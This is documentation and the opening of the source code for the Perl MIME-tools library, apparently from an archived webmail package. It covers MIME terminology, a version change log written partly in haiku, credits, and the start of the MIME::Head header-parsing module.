=head2 Glossary

Here are some definitions adapted from RFC-1521 explaining the terminology
we use; each is accompanied by the equivalent in MIME:: module terms...

=over 4

=item attachment

An "attachment" is common slang for any part of a multipart message --
except, perhaps, for the first part, which normally carries a user
message describing the attachments that follow (e.g.: "Hey dude, here's
that GIF file I promised you.").

In our system, an attachment is just a B<MIME::Entity> under the
top-level entity, probably one of its L<parts|MIME::Entity/parts>.

=item body

The "body" of an L<entity|/entity> is that portion of the entity 
which follows the L<header|/header> and which contains the real message 
content.  For example, if your MIME message has a GIF file attachment,
then the body of that attachment is the base64-encoded GIF file itself.

A body is represented by an instance of B<MIME::Body>.  You get the
body of an entity by sending it a L<bodyhandle()|MIME::Entity/bodyhandle> 
message.

=item body part

One of the parts of the body of a multipart B</entity>. 
A body part has a B</header> and a B</body>, so it makes sense to
speak about the body of a body part.

Since a body part is just a kind of entity, it's represented by 
an instance of B<MIME::Entity>.

=item entity

An "entity" means either a B</message> or a B</body part>.  
All entities have a B</header> and a B</body>.

An entity is represented by an instance of B<MIME::Entity>.
There are instance methods for recovering the 
L<header|MIME::Entity/head> (a B<MIME::Head>) and the
L<body|MIME::Entity/bodyhandle> (a B<MIME::Body>).

=item header

This is the top portion of the MIME message, which contains the
"Content-type", "Content-transfer-encoding", etc.  Every MIME entity has
a header, represented by an instance of B<MIME::Head>.  You get the
header of an entity by sending it a head() message.

=item message

A "message" generally means the complete (or "top-level") message being 
transferred on a network.

There currently is no explicit package for "messages"; under MIME::, 
messages are streams of data which may be read in from files or 
filehandles.  You can think of the B<MIME::Entity> returned by the
B<MIME::Parser> as representing the full message.


=back


=head2 Content types

This indicates what kind of data is in the MIME message, usually
as I<majortype/minortype>.  The standard major types are shown below.
A more-comprehensive listing may be found in RFC-2046.

=over 4

=item application

Data which does not fit in any of the other categories, particularly 
data to be processed by some type of application program. 
C<application/octet-stream>, C<application/gzip>, C<application/postscript>...

=item audio

Audio data.
C<audio/basic>...

=item image

Graphics data.
C<image/gif>, C<image/jpeg>...

=item message

A message, usually another mail or MIME message.
C<message/rfc822>...

=item multipart

A message containing other messages.
C<multipart/mixed>, C<multipart/alternative>...

=item text

Textual data, meant for humans to read.
C<text/plain>, C<text/html>...

=item video

Video or video+audio data.
C<video/mpeg>...

=back


=head2 Content transfer encodings

This is how the message body is packaged up for safe transit.
There are the 5 major MIME encodings.
A more-comprehensive listing may be found in RFC-2045.

=over 4

=item 7bit

No encoding is done at all.  This label simply asserts that no
8-bit characters are present, and that lines do not exceed 1000 characters 
in length (including the CRLF).

=item 8bit

No encoding is done at all.  This label simply asserts that the message 
might contain 8-bit characters, and that lines do not exceed 1000 characters 
in length (including the CRLF).

=item binary

No encoding is done at all.  This label simply asserts that the message 
might contain 8-bit characters, and that lines may exceed 1000 characters 
in length.  Such messages are the I<least> likely to get through mail 
gateways.

=item base64

A standard encoding, which maps arbitrary binary data to the 7bit domain.
Like "uuencode", but very well-defined.  This is how you should send
essentially binary information (tar files, GIFs, JPEGs, etc.). 

=item quoted-printable

A standard encoding, which maps arbitrary line-oriented data to the
7bit domain.  Useful for encoding messages which are textual in
nature, yet which contain non-ASCII characters (e.g., Latin-1,
Latin-2, or any other 8-bit alphabet).

=back




=head1 TERMS AND CONDITIONS

Eryq (F<eryq@zeegee.com>), ZeeGee Software Inc (F<http://www.zeegee.com>).

Copyright (c) 1998, 1999 by ZeeGee Software Inc (www.zeegee.com).

All rights reserved.  This program is free software; you can redistribute 
it and/or modify it under the same terms as Perl itself.  
See the COPYING file in the distribution for details.



=head1 SUPPORT

Please email me directly with questions/problems (see AUTHOR below).

If you want to be placed on an email distribution list (not a mailing list!)
for MIME-tools, and receive bug reports, patches, and updates as to when new 
MIME-tools releases are planned, just email me and say so.  If your project
is using MIME-tools, it might not be a bad idea to find out about those
bugs I<before> they become problems...


=head1 VERSION

$Revision: 5.211 $ 


=head1 CHANGE LOG

=over 4

=item Version 5.211   (2000/06/24)

B<Fixed auto-uudecode bug.>
Parser was failing with "part did not end with expected boundary" error
when uuencoded entity was in a I<singlepart> message.

       The hurrying bee
          Flies far for nectar, missing
       The nearest flowers

B<Parse errors now generate warnings.>
Parser errors now cause warn()s to be generated if they are 
not turned into fatal exceptions.  This might be a little redundant,
seeing as they are available in the "results", but parser-warnings
already cause warn()s.  I can always put in a "quiet" switch if 
people complain.

B<Misc. cleanup.>
Documentation of MIME::Parser improved slightly, and a redundant
warning was removed.


=item Version 5.210   (2000/06/20)

B<Change in "evil" filename.>
Made MIME::Parser's evil_filename stricter by having it reject
"path" characters: any of '/' '\' ':' '[' ']'.

       Just as with beauty
	  The eye of the beholder
       Is where "evil" lives. 

B<Documentation fixes.>
Corrected a number of docs in MIME::Entity which were obsoleted
in the transition from 4.x to 5.x. 
I<Thanks to Michael Fischer for pointing these out.>
For this one, a special 5-5-5-5 Haiku of anagrams:

       Documentation
	  in mutant code, O!
       Edit -- no, CUT! [moan]
	  I meant to un-doc...

B<IO::Lines usage bug fixed.>
MIME::Entity was missing a "use IO::Lines", which caused an 
exception when you tried to use the body() method of MIME::Entity.
I<Thanks to Hideyo Imazu and Michael Fischer for pointing this out.>

       Bareword looks fine, but
          Perl cries: "Whoa there... IO::Lines?
       Never heard of it."


=item Version 5.209   (2000/06/10) 

B<Autodetection of uuencode.>
You can now tell the parser to hunt for uuencode inside what should
be text parts.  
See L<extract_uuencode()|MIME::Parser/extract_uuencode> for full details.
B<Beware:> this is largely untested at the moment.
I<Special thanks to Michael Mohlere at ADJE Webmail, who was the 
  first -- and most-insistent -- user to request this feature.>

B<Faster parsing.>
Sped up the MIME::Decoder::NBit decoder quite a bit by using a variant
of the chunking trick I used for MIME::Decoder::Base64.  I suspect
that the same trick (reading a big chunk plus the next line to get a
big block of lines) would work with MIME::Decoder::QuotedPrint, but I
don't have the time or resources to check that right now (tested
contributions would be welcome).  NBit encoding is more-conveniently
done line-by-line for now, because individual line lengths must be
checked.

B<Better use of core.>
MIME::Body::InCore is now used when you build() an entity with
the Data parameter, instead of MIME::Body::Scalar.

B<More documentation> on toolkit configuration.


=item Version 5.207   (2000/06/09) 

Fixed bug in MIME::Parser where the "warning" method whine() was 
called as a static function instead of invoked as an instance method.  
I<Thanks to Todd A. Bradfute for reporting this.>

       A simple warning
          Invokes method as function:
       "Warning" makes us die


=item Version 5.206   (2000/06/08) 

Ahem.  Cough cough:

       Way too many bugs
          Thus, a self-imposed penance:
       Write haiku for each

Fixed bug in MIME::Parser: the reader was not handling the 
odd (but legal) case where a multipart boundary is followed by linear 
whitespace.
I<Thanks to Jon Agnew for reporting this with the RFC citation.>

       Legal message fails
          And 'round the globe, thousands cry:
       READ THE RFC

Empty preambles are now handled properly by MIME::Entity when
printing: there is now no space between the header-terminator
and the initial boundary.
I<Thanks to "sen_ml" for suggesting this.>

       Nature hates vacuum
          But please refrain from tossing
       Newlines in the void

Started using Benchmark for benchmarking.


=item Version 5.205   (2000/06/06) 

Added terminating newline to all parser messages, and fixed
small parser bug that was dropping parts when errors occurred
in certain places.


=item Version 5.203   (2000/06/05) 

Brand new parser based on new (private) MIME::Parser::Reader and 
(public) MIME::Parser::Results.  Fast and yet simple and very tolerant
of bad MIME when desired.  Message reporting needs some muzzling.

MIME::Parser now has ignore_errors() set true by default.


=item Version 5.116   (2000/05/26) 

Removed Tmpfile.t test, which was causing a bogus failure in 
"make test".  Now we require 5.004 for MIME::Parser anyway,
so we don't need it.  I<Thanks to Jonathan Cohn for reporting this.>


=item Version 5.115   (2000/05/24) 

Fixed Ref.t bug, and documented how to remove parts from a MIME::Entity.


=item Version 5.114   (2000/05/23) 

Entity now uses MIME::Lite-style default suggested encoding.

More regression test have been added, and the "Size" tests in 
Ref.t are skipped for text document (due to CRLF differences
between platforms).


=item Version 5.113   (2000/05/21) 

B<Major speed and structural improvements to the parser.>
    I<Major, MAJOR thanks to Noel Burton-Krahn, Jeremy Gilbert,
      and Doru Petrescu for all the patches, benchmarking,
      and Beta-testing!>

B<Convenient new one-directory-per-message parsing mechanism.>
    Now through C<MIME::Parser> method C<output_under()>, 
    you can tell the parser that you want it to create 
    a unique directory for each message parsed, to hold the 
    resulting parts.

B<Elimination of $', $` and $&.>
    Wow... I still can't believe I missed this.  D'OH!
    I<Thanks to Noel Burton-Krahn for all his patches.>

B<Parser is more tolerant of weird EOL termination.>
    Some mailagents are can terminate lines with "\r\r\n".
    We're okay with that now when we extract the header.
    I<Thanks to Joao Fonseca for pointing this out.>

B<Parser is tolerant of "From " lines in headers.>
    I<Thanks to Joachim Wieland, Anthony Hinsinger, Marius Stan,
      and numerous others.>

B<Parser catches syntax errors in headers.>
    I<Thanks to Russell P. Sutherland for catching this.>

B<Parser no longer warns when subtype is undefined.>    
    I<Thanks to Eric-Olivier Le Bigot for his fix.>

B<Better integration with Mail::Internet.>
    For example, smtpsend() should work fine.
    I<Thanks to Michael Fischer and others for the patch.>

B<Miscellaneous cleanup.>
    I<Thanks to Marcus Brinkmann for additional helpful input.>
    I<Thanks to Klaus Seidenfaden for good feedback on 5.x Alpha!>




=item Version 4.123   (1999/05/12) 

Cleaned up some of the tests for non-Unix OS'es.
Will require a few iterations, no doubt.


=item Version 4.122   (1999/02/09) 

B<Resolved CORE::open warnings for 5.005.>
        I<Thanks to several folks for this bug report.>


=item Version 4.121   (1998/06/03) 

B<Fixed MIME::Words infinite recursion.>
        I<Thanks to several folks for this bug report.>


=item Version 4.117   (1998/05/01) 

B<Nicer MIME::Entity::build.> 
        No longer outputs warnings with undefined Filename, and now
        accepts Charset as well.
	I<Thanks to Jason Tibbits III for the inspirational patch.>

B<Documentation fixes.>  
        Hopefully we've seen the last of the pod2man warnings...

B<Better test logging.>  
        Now uses ExtUtils::TBone.


=item Version 4.116   (1998/02/14) 

B<Bug fix:> 
        MIME::Head and MIME::Entity were not downcasing the
        content-type as they claimed.  This has now been fixed.
	I<Thanks to Rodrigo de Almeida Siqueira for finding this.>


=item Version 4.114   (1998/02/12) 

B<Gzip64-encoding has been improved, and turned off as a default,>
	since it depends on having gzip installed.  
        See MIME::Decoder::Gzip64 if you want to activate it in your app.
	You can	now set up the gzip/gunzip commands to use, as well.
	I<Thanks to Paul J. Schinder for finding this bug.>


=item Version 4.113   (1998/01/20) 

B<Bug fix:>
        MIME::ParserBase was accidentally folding newlines in header fields.
	I<Thanks to Jason L. Tibbitts III for spotting this.>


=item Version 4.112   (1998/01/17) 

B<MIME::Entity::print_body now recurses> when printing multipart
	entities, and prints "everything following the header."  This is more
	likely what people expect to happen.  PLEASE read the
        "two body problem" section of MIME::Entity's docs.


=item Version 4.111   (1998/01/14) 

Clean build/test on Win95 using 5.004.  Whew.


=item Version 4.110   (1998/01/11) 

B<Added> make_multipart() and make_singlepart() in MIME::Entity.

B<Improved> handling/saving of preamble/epilogue.


=item Version 4.109   (1998/01/10) 

=over 4

=item Overall

B<Major version shift to 4.x> 
	accompanies numerous structural changes, and
	the deletion of some long-deprecated code.  Many apologies to those
	who are inconvenienced by the upgrade.

B<MIME::IO deprecated.> 
	You'll see IO::Scalar, IO::ScalarArray, and IO::Wrap
	to make this toolkit work.

B<MIME::Entity deep code.>
	You can now deep-copy MIME entities (except for on-disk data files).


=item Encoding/decoding

B<MIME::Latin1 deprecated, and 8-to-7 mapping removed.> 
	Really, MIME::Latin1 was one of my more dumber ideas.  
	It's still there, but if you want to map 8-bit characters to 
	Latin1 ASCII approximations when 7bit encoding, you'll have to 
	request it explicitly.	I<But use quoted-printable for your 8-bit 
	documents; that's what it's there for!>

B<7bit and 8bit "encoders" no longer encode.>
	As per RFC-2045, these just do a pass-through of the data,
	but they'll warn you if you send bad data through.

B<MIME::Entity suggests encoding.>
	Now you can ask MIME::Entity's build() method to "suggest"
	a legal encoding based on the body and the content-type.
	No more guesswork!  See the "mimesend" example.

B<New module structure for MIME::Decoder classes.> 
	It should be easier for you to see what's happening.

B<New MIME decoders!>  
	Support added for decoding C<x-uuencode>, and for 
	decoding/encoding C<x-gzip64>.  You'll need "gzip" to make
	the latter work.

B<Quoted-printable back on track... and then some.>
	The 'quoted-printable' decoder now uses the newest MIME::QuotedPrint,
	and amends its output with guideline #8 from RFC2049 (From/.).
	I<Thanks to Denis N. Antonioli for suggesting this.>

=item Parsing

B<Preamble and epilogue are now saved.>
	These are saved in the parsed entities as simple
	string-arrays, and are output by print() if there. 
	I<Thanks to Jason L. Tibbitts for suggesting this.>

B<The "multipart/digest" semantics are now preserved.> 
	Parts of digest messages have their mime_type() defaulted 
	to "message/rfc822" instead of "text/plain", as per the RFC.
	I<Thanks to Carsten Heyl for suggesting this.>

=item Output

B<Well-defined, more-complete print() output.>
	When printing an entity, the output is now well-defined if the
	entity came from a MIME::Parser, even if using parse_nested_messages.
	See MIME::Entity for details.

B<You can prevent recommended filenames from being output.> 
	This possible security hole has been plugged; when building MIME 
	entities, you can specify a body path but suppress the filename
	in the header.
	I<Thanks to Jason L. Tibbitts for suggesting this.>

=item Bug fixes

B<Win32 installations should work.>
	The binmode() calls should work fine on Win32 now.
	I<Thanks to numerous folks for their patches.>

B<MIME::Head::add()> now no longer downcases its argument.
	I<Thanks to Brandon Browning & Jason L. Tibbitts for finding this bug.>

=back






=item Version 3.204   

B<Bug in MIME::Head::original_text fixed.>
	Well, it took a while, but another bug surfaced from my transition 
	from 1.x to 2.x.  This method was, quite idiotically, sorting the 
	header fields.
	I<Thanks, as usual, to Andreas Koenig for spotting this one.>

B<MIME::ParserBase no longer defaults to RFC-1522-decoding headers.>
	The documentation correctly stated that the default setting was 
	to I<not> RFC-1522-decode the headers.  The code, on the other hand,
	was init'ing this parser option in the "on" position.  
	This has been fixed.

B<MIME::ParserBase::parse_nested_messages reexamined.>
	If you use this feature, please re-read the documentation.
	It explains a little more precisely what the ramifications are.

B<MIME::Entity tries harder to ensure MIME compliance.>
	It is now a fatal error to use certain bad combinations of content
	type and encoding when "building", or to attempt to "attach" to
	anything that is not a multipart document.  My apologies if this
	inconveniences anyone, but it was just too darn easy before for folks
	to create bad MIME, and gosh darn it, good libraries should at least
	I<try> to protect you from mistakes.

B<The "make" now halts if you don't have the right stuff,> 
	provided your MakeMaker supports PREREQ_PM.  See L<"REQUIREMENTS">
	for what you need to install this package.  I still provide
	old courtesy copies of the MIME:: decoding modules.
I<Thanks to Hugo van der Sanden for suggesting this.>

B<The "make test" is far less chatty.>
	Okay, okay, STDERR is evil.  Now a C<"make test"> will just give you
	the important stuff: do a C<"make test TEST_VERBOSE=1"> if you want
	the gory details (advisable if sending me a bug report).
I<Thanks to Andreas Koenig for suggesting this.>


=item Version 3.203   

B<No, there haven't been any major changes between 2.x and 3.x.>
	The major-version increase was from a few more tweaks to get $VERSION
	to be calculated better and more efficiently (I had been using RCS
	version numbers in a way which created problems for users of CPAN::).
	After a couple of false starts, all modules have been upgraded to RCS
	3.201 or higher.

B<You can now parse a MIME message from a scalar,> 
	an array-of-scalars, or any MIME::IO-compliant object (including IO::
	objects.)  Take a look at parse_data() in MIME::ParserBase.  The
	parser code has been modified to support the MIME::IO interface.
	I<Thanks to fellow Chicagoan Tim Pierce (and countless others) 
	for asking.>

B<More sensible toolkit configuration.>
	A new config() method in MIME::ToolUtils makes a lot of toolkit-wide
	configuration cleaner.  Your old calls will still work, but with
	deprecation warnings.

B<You can now sign messages> just like in Mail::Internet.
	See MIME::Entity for the interface.

B<You can now remove signatures from messages> just like in Mail::Internet.
	See MIME::Entity for the interface.

B<You can now compute/strip content lengths> 
	and other non-standard MIME fields.  
	See sync_headers() in MIME::Entity.
	I<Thanks to Tim Pierce for bringing the basic problem to my attention.>

B<Many warnings are now silent unless $^W is true.>  
	That means unless you run your Perl with C<-w>, you won't see 
        deprecation warnings, non-fatal-error messages, etc.  
        But of course you run with C<-w>, so this doesn't affect you.  C<:-)>

B<Completed the 7-bit encodings in MIME::Latin1.>
	We hadn't had complete coverage in the conversion from 8- to 7-bit; 
	now we do. I<Thanks to Rolf Nelson for bringing this to my attention.>

B<Fixed broken parse_two() in MIME::ParserBase.>
	BTW, if your code worked with the "broken" code, it should I<still>
	work.  
	I<Thanks again to Tim Pierce for bringing this to my attention.>


=item Version 2.14   

Just a few bug fixes to improve compatibility with Mail-Tools 1.08,
and with the upcoming Perl 5.004 release.
I<Thanks to Jason L. Tibbitts III for reporting the problems so quickly.>


=item Version 2.13   

=over 4

=item New features

B<Added RFC-1522-style decoding of encoded header fields.>
	Header decoding can now be done automatically during parsing via the 
	new C<decode()> method in MIME::Head... just tell your parser
	object that you want to C<decode_headers()>. 
	I<Thanks to Kent Boortz for providing the idea, and the baseline 
	RFC-1522-decoding code!>

B<Building MIME messages is even easier.>  
	Now, when you use MIME::Entity's C<build()> or C<attach()>, 
	you can also supply individual 
	mail headers to set (e.g., C<-Subject>, C<-From>, C<-To>).

Added C<Disposition> to MIME::Entity's C<build()> method.
	I<Thanks to Kurt Freytag for suggesting this feature.>

An C<X-Mailer> header is now output 
	by default in all MIME-Entity-prepared messages, 
	so any bad MIME we generate can be traced back to this toolkit.

Added C<purge()> method to MIME::Entity for deleteing leftover files.
	I<Thanks to Jason L. Tibbitts III for suggesting this feature.>

Added C<seek()> and C<tell()> methods to built-in MIME::IO classes.
	Only guaranteed to work when reading!
	I<Thanks to Jason L. Tibbitts III for suggesting this feature.>

When parsing a multipart message with apparently no boundaries, 
	the error message you get has been improved.  
	I<Thanks to Andreas Koenig for suggesting this.>

=item Bug fixes

B<Patched over a Perl 5.002 (and maybe earlier and later) bug involving
FileHandle::new_tmpfile.>  It seems that the underlying filehandles
were not being closed when the FileHandle objects went out of scope!
There is now an internal routine that creates true FileHandle
objects for anonymous temp files. 
I<Thanks to Dragomir R. Radev and Zyx for reporting the weird behavior
that led to the discovery of this bug.>

MIME::Entity's C<build()> method now warns you if you give it an illegal 
boundary string, and substitutes one of its own.

MIME::Entity's C<build()> method now generates safer, fully-RFC-1521-compliant 
boundary strings.

Bug in MIME::Decoder's C<install()> method was fixed.  
I<Thanks to Rolf Nelson and Nickolay Saukh for finding this.>

Changed FileHandle::new_tmpfile to FileHandle->new_tmpfile, so some 
Perl installations will be happier.  
I<Thanks to Larry W. Virden for finding this bug.>

Gave C<=over> an arg of 4 in all PODs.
I<Thanks to Larry W. Virden for pointing out the problems of bare =over's>

=back


=item Version 2.04   

B<A bug in MIME::Entity's output method was corrected.>
MIME::Entity::print now outputs everything to the desired filehandle
explicitly.  
I<Thanks to Jake Morrison for pointing out the incompatibility 
with Mail::Header.>


=item Version 2.03   

B<Fixed bug in autogenerated filenames> resulting from transposed "if" 
statement in MIME::Parser, removing spurious printing of header as well.
(Annoyingly, this bug is invisible if debugging is turned on!)
I<Thanks to Andreas Koenig for bringing this to my attention.>

Fixed bug in MIME::Entity::body() where it was using the bodyhandle
completely incorrectly.  
I<Thanks to Joel Noble for bringing this to my attention.>

Fixed MIME::Head::VERSION so CPAN:: is happier.
I<Thanks to Larry Virden for bringing this to my attention.>

Fixed undefined-variable warnings when dumping skeleton
(happened when there was no Subject: line)
I<Thanks to Joel Noble for bringing this to my attention.>


=item Version 2.02   

B<Stupid, stupid bugs in both BASE64 encoding and decoding were fixed.>
I<Thanks to Phil Abercrombie for locating them.>


=item Version 2.01   

B<Modules now inherit from the new Mail:: modules!>
This means big changes in behavior.

B<MIME::Parser can now store message data in-core.>
There were a I<lot> of requests for this feature.

B<MIME::Entity can now compose messages.>
There were a I<lot> of requests for this feature.

Added option to parse C<"message/rfc822"> as a pseduo-multipart document.
I<Thanks to Andreas Koenig for suggesting this.>





=item Version 1.13   

MIME::Head now no longer requires space after ":", although
either a space or a tab after the ":" will be swallowed
if there.  
I<Thanks to Igor Starovoitov for pointing out this shortcoming.>

=item Version 1.12   

Fixed bugs in parser where CRLF-terminated lines were 
blowing out the handling of preambles/epilogues.
I<Thanks to Russell Sutherland for reporting this bug.>

Fixed idiotic is_multipart() bug.  
I<Thanks to Andreas Koenig for noticing it.>

Added untested binmode() calls to parser for DOS, etc.
systems.  No idea if this will work...

Reorganized the output_path() methods to allow easy use
of inheritance, as per Achim Bohnet's suggestion.

Changed MIME::Head to report mime_type more accurately.

POSIX module no longer loaded by Parser if perl >= 5.002.
Hey, 5.001'ers: let me know if this breaks stuff, okay?

Added unsupported ./examples directory.

=item Version 1.11   

Converted over to using Makefile.PL.  
I<Thanks to Andreas Koenig for the much-needed kick in the pants...>

Added t/*.t files for testing.  Eeeeeeeeeeeh...it's a start.

Fixed bug in default parsing routine for generating 
output paths; it was warning about evil filenames if
there simply I<were> no recommended filenames.  D'oh!

Fixed redefined parts() method in Entity.

Fixed bugs in Head where field name wasn't being case folded.

=item Version 1.10   

A typo was causing the epilogue of an inner multipart
message to be swallowed to the end of the OUTER multipart
message; this has now been fixed.  
I<Thanks to Igor Starovoitov for reporting this bug.>

A bad regexp for parameter names was causing 
some parameters to be parsed incorrectly; this has also
been fixed.  
I<Thanks again to Igor Starovoitov for reporting this bug.>
	
It is now possible to get full control of the filenaming
algorithm before output files are generated, and the default
algorithm is safer.  
I<Thanks to Laurent Amon for pointing out the problems, and suggesting 
some solutions.>

Fixed illegal "simple" multipart test file.  D'OH!

=item Version 1.9   

No changes: 1.8 failed CPAN registration

=item Version 1.8   

Fixed incompatibility with 5.001 and FileHandle::new_tmpfile
Added COPYING file, and improved README.

=back




=head1 AUTHOR 

MIME-tools was created by:

    ___  _ _ _   _  ___ _     
   / _ \| '_| | | |/ _ ' /    Eryq, (eryq@zeegee.com)
  |  __/| | | |_| | |_| |     President, ZeeGee Software Inc.
   \___||_|  \__, |\__, |__   http://www.zeegee.com/
             |___/    |___/   

Released as MIME-parser (1.0): 28 April 1996.
Released as MIME-tools (2.0): Halloween 1996.
Released as MIME-tools (4.0): Christmas 1997. 
Released as MIME-tools (5.0): Mother's Day 2000.



=head1 ACKNOWLEDGMENTS

B<This kit would not have been possible> but for the direct 
contributions of the following:

    Gisle Aas             The MIME encoding/decoding modules.
    Laurent Amon          Bug reports and suggestions.
    Graham Barr           The new MailTools.
    Achim Bohnet          Numerous good suggestions, including the I/O model.
    Kent Boortz           Initial code for RFC-1522-decoding of MIME headers.
    Andreas Koenig        Numerous good ideas, tons of beta testing,
                            and help with CPAN-friendly packaging.
    Igor Starovoitov      Bug reports and suggestions.
    Jason L Tibbitts III  Bug reports, suggestions, patches.
 
Not to mention the Accidental Beta Test Team, whose bug reports (and
comments) have been invaluable in improving the whole:

    Phil Abercrombie
    Mike Blazer
    Brandon Browning
    Kurt Freytag
    Steve Kilbane
    Jake Morrison
    Rolf Nelson
    Joel Noble    
    Michael W. Normandin 
    Tim Pierce
    Andrew Pimlott
    Dragomir R. Radev
    Nickolay Saukh
    Russell Sutherland
    Larry Virden
    Zyx

Please forgive me if I've accidentally left you out.  
Better yet, email me, and I'll put you in.



=head1 SEE ALSO

Users of this toolkit may wish to read the documentation of Mail::Header 
and Mail::Internet.

The MIME format is documented in RFCs 1521-1522, and more recently
in RFCs 2045-2049.

The MIME header format is an outgrowth of the mail header format
documented in RFC 822.



=cut
wm357/MIME/Head.pm100755    312    144       56643  7116726462  12753 0ustar  webmailuserspackage MIME::Head;


=head1 NAME

MIME::Head - MIME message header (a subclass of Mail::Header)


=head1 SYNOPSIS


=head2 Construction

    ### Create a new, empty header, and populate it manually:    
    $head = MIME::Head->new;
    $head->replace('content-type', 'text/plain; charset=US-ASCII');
    $head->replace('content-length', $len);
    
    ### Parse a new header from a filehandle:
    $head = MIME::Head->read(\*STDIN);
    
    ### Parse a new header from a file, or a readable pipe:
    $testhead = MIME::Head->from_file("/tmp/test.hdr");
    $a_b_head = MIME::Head->from_file("cat a.hdr b.hdr |");


=head2 Output

    ### Output to filehandle:
    $head->print(\*STDOUT);  
    
    ### Output as string:
    print STDOUT $head->as_string;
    print STDOUT $head->stringify;


=head2 Getting field contents

    ### Is this a reply?
    $is_reply = 1 if ($head->get('Subject') =~ /^Re: /);
    
    ### Get receipt information:
    print "Last received from: ", $head->get('Received', 0), "\n";
    @all_received = $head->get('Received');
    
    ### Print the subject, or the empty string if none:
    print "Subject: ", $head->get('Subject',0), "\n";
     
    ### Too many hops?  Count 'em and see!
    if ($head->count('Received') > 5) { ...
    
    ### Test whether a given field exists
    warn "missing subject!" if (! $head->count('subject'));


=head2 Setting field contents

    ### Declare this to be an HTML header:
    $head->replace('Content-type', 'text/html');


=head2 Manipulating field contents

    ### Get rid of internal newlines in fields:
    $head->unfold;
    
    ### Decode any Q- or B-encoded-text in fields:
    $head->decode;
     

=head2 Getting high-level MIME information

    ### Get/set a given MIME attribute:
    unless ($charset = $head->mime_attr('content-type.charset')) {
        $head->mime_attr("content-type.charset" => "US-ASCII");
    }

    ### The content type (e.g., "text/html"):
    $mime_type     = $head->mime_type;
    
    ### The content transfer encoding (e.g., "quoted-printable"):
    $mime_encoding = $head->mime_encoding;
    
    ### The recommended name when extracted:
    $file_name     = $head->recommended_filename;
    
    ### The boundary text, for multipart messages:
    $boundary      = $head->multipart_boundary;


=head1 DESCRIPTION

A class for parsing in and manipulating RFC-822 message headers, with some 
methods geared towards standard (and not so standard) MIME fields as 
specified in RFC-1521, I<Multipurpose Internet Mail Extensions>.


=head1 PUBLIC INTERFACE

=cut

#------------------------------

require 5.002;

### Pragmas:
use strict;
use vars qw($VERSION @ISA @EXPORT_OK);

### System modules:
use Carp;
use IO::Wrap;

### Other modules:
use Mail::Header 1.09 ();
use Mail::Field  1.05 ();

### Kit modules:
use MIME::Words qw(:all);
use MIME::Tools qw(:config :msgs);
use MIME::Field::ParamVal;
use MIME::Field::ConTraEnc;
use MIME::Field::ContDisp;
use MIME::Field::ContType;

@ISA = qw(Mail::Header);



#------------------------------
#
# Public globals...
#
#------------------------------

### The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 5.202 $, 10;

### Sanity (we put this test after our own version, for CPAN::):
use Mail::Header 1.06 ();


#------------------------------

=head2 Creation, input, and output

=over 4

=cut

#------------------------------


#------------------------------

=item new [ARG],[OPTIONS]

I<Class method, inherited.>
Creates a new header object.  Arguments are the same as those in the 
superclass.  

=cut

sub new {
    my $class = shift;
    bless Mail::Header->new(@_), $class;
}

#------------------------------

=item from_file EXPR,OPTIONS

I<Class or instance method>.
For convenience, you can use this to parse a header object in from EXPR, 
which may actually be any expression that can be sent to open() so as to 
return a readable filehandle.  The "file" will be opened, read, and then 
closed:

    ### Create a new header by parsing in a file:
    my $head = MIME::Head->from_file("/tmp/test.hdr");

Since this method can function as either a class constructor I<or> 
an instance initializer, the above is exactly equivalent to:

    ### Create a new header by parsing in a file:
    my $head = MIME::Head->new->from_file("/tmp/test.hdr");

On success, the object will be returned; on failure, the undefined value.

The OPTIONS are the same as in new(), and are passed into new()
if this is invoked as a class method.

B<Note:> This is really just a convenience front-end onto C<read()>,
provided mostly for backwards-compatibility with MIME-parser 1.0.

=cut

sub from_file {
    my ($self, $file, @opts) = @_; ### at this point, $self is inst. or class!
    my $class = ref($self) ? ref($self) : $self;

    ### Parse:
    open(HDR, $file) or return error("open $file: $!");
    binmode(HDR);  # we expect to have \r\n at line ends, and want to keep 'em.
    $self = $class->new(\*HDR, @opts);      ### now, $self is instance or undef
    close(HDR);
    $self;
}

#------------------------------

=item read FILEHANDLE

I<Instance (or class) method.> 
This initiallizes a header object by reading it in from a FILEHANDLE,
until the terminating blank line is encountered.  
A syntax error or end-of-stream will also halt processing.

Supply this routine with a reference to a filehandle glob; e.g., C<\*STDIN>:

    ### Create a new header by parsing in STDIN:
    $head->read(\*STDIN);

On success, the self object will be returned; on failure, a false value.

B<Note:> in the MIME world, it is perfectly legal for a header to be
empty, consisting of nothing but the terminating blank line.  Thus,
we can't just use the formula that "no tags equals error".

B<Warning:> as of the time of this writing, Mail::Header::read did not flag
either syntax errors or unexpected end-of-file conditions (an EOF
before the terminating blank line).  MIME::ParserBase takes this
into account.

=cut

sub read {
    my $self = shift;      ### either instance or class!
    ref($self) or $self = $self->new;    ### if used as class method, make new
    $self->SUPER::read(@_);   
}



#------------------------------

=back

=head2 Getting/setting fields

The following are methods related to retrieving and modifying the header 
fields.  Some are inherited from Mail::Header, but I've kept the
documentation around for convenience.

=over 4

=cut

#------------------------------


#------------------------------

=item add TAG,TEXT,[INDEX]

I<Instance method, inherited.>
Add a new occurence of the field named TAG, given by TEXT:

    ### Add the trace information:    
    $head->add('Received', 
               'from eryq.pr.mcs.net by gonzo.net with smtp');

Normally, the new occurence will be I<appended> to the existing 
occurences.  However, if the optional INDEX argument is 0, then the 
new occurence will be I<prepended>.  If you want to be I<explicit> 
about appending, specify an INDEX of -1.

B<Warning>: this method always adds new occurences; it doesn't overwrite
any existing occurences... so if you just want to I<change> the value
of a field (creating it if necessary), then you probably B<don't> want to use 
this method: consider using C<replace()> instead.

=cut

### Inherited.

#------------------------------
#
# copy
#
# Instance method, DEPRECATED.
# Duplicate the object.
#
sub copy {
    usage "deprecated: use dup() instead.";
    shift->dup(@_);
}

#------------------------------

=item count TAG

I<Instance method, inherited.>
Returns the number of occurences of a field; in a boolean context, this
tells you whether a given field exists:

    ### Was a "Subject:" field given?
    $subject_was_given = $head->count('subject');

The TAG is treated in a case-insensitive manner.
This method returns some false value if the field doesn't exist,
and some true value if it does.

=cut

### Inherited.


#------------------------------

=item decode

I<Instance method.>
Go through all the header fields, looking for RFC-1522-style "Q"
(quoted-printable, sort of) or "B" (base64) encoding, and decode them
in-place.  Fellow Americans, you probably don't know what the hell I'm
talking about.  Europeans, Russians, et al, you probably do.  C<:-)>. 

For example, here's a valid header you might get:

    From: =?US-ASCII?Q?Keith_Moore?= <moore@cs.utk.edu>
    To: =?ISO-8859-1?Q?Keld_J=F8rn_Simonsen?= <keld@dkuug.dk>
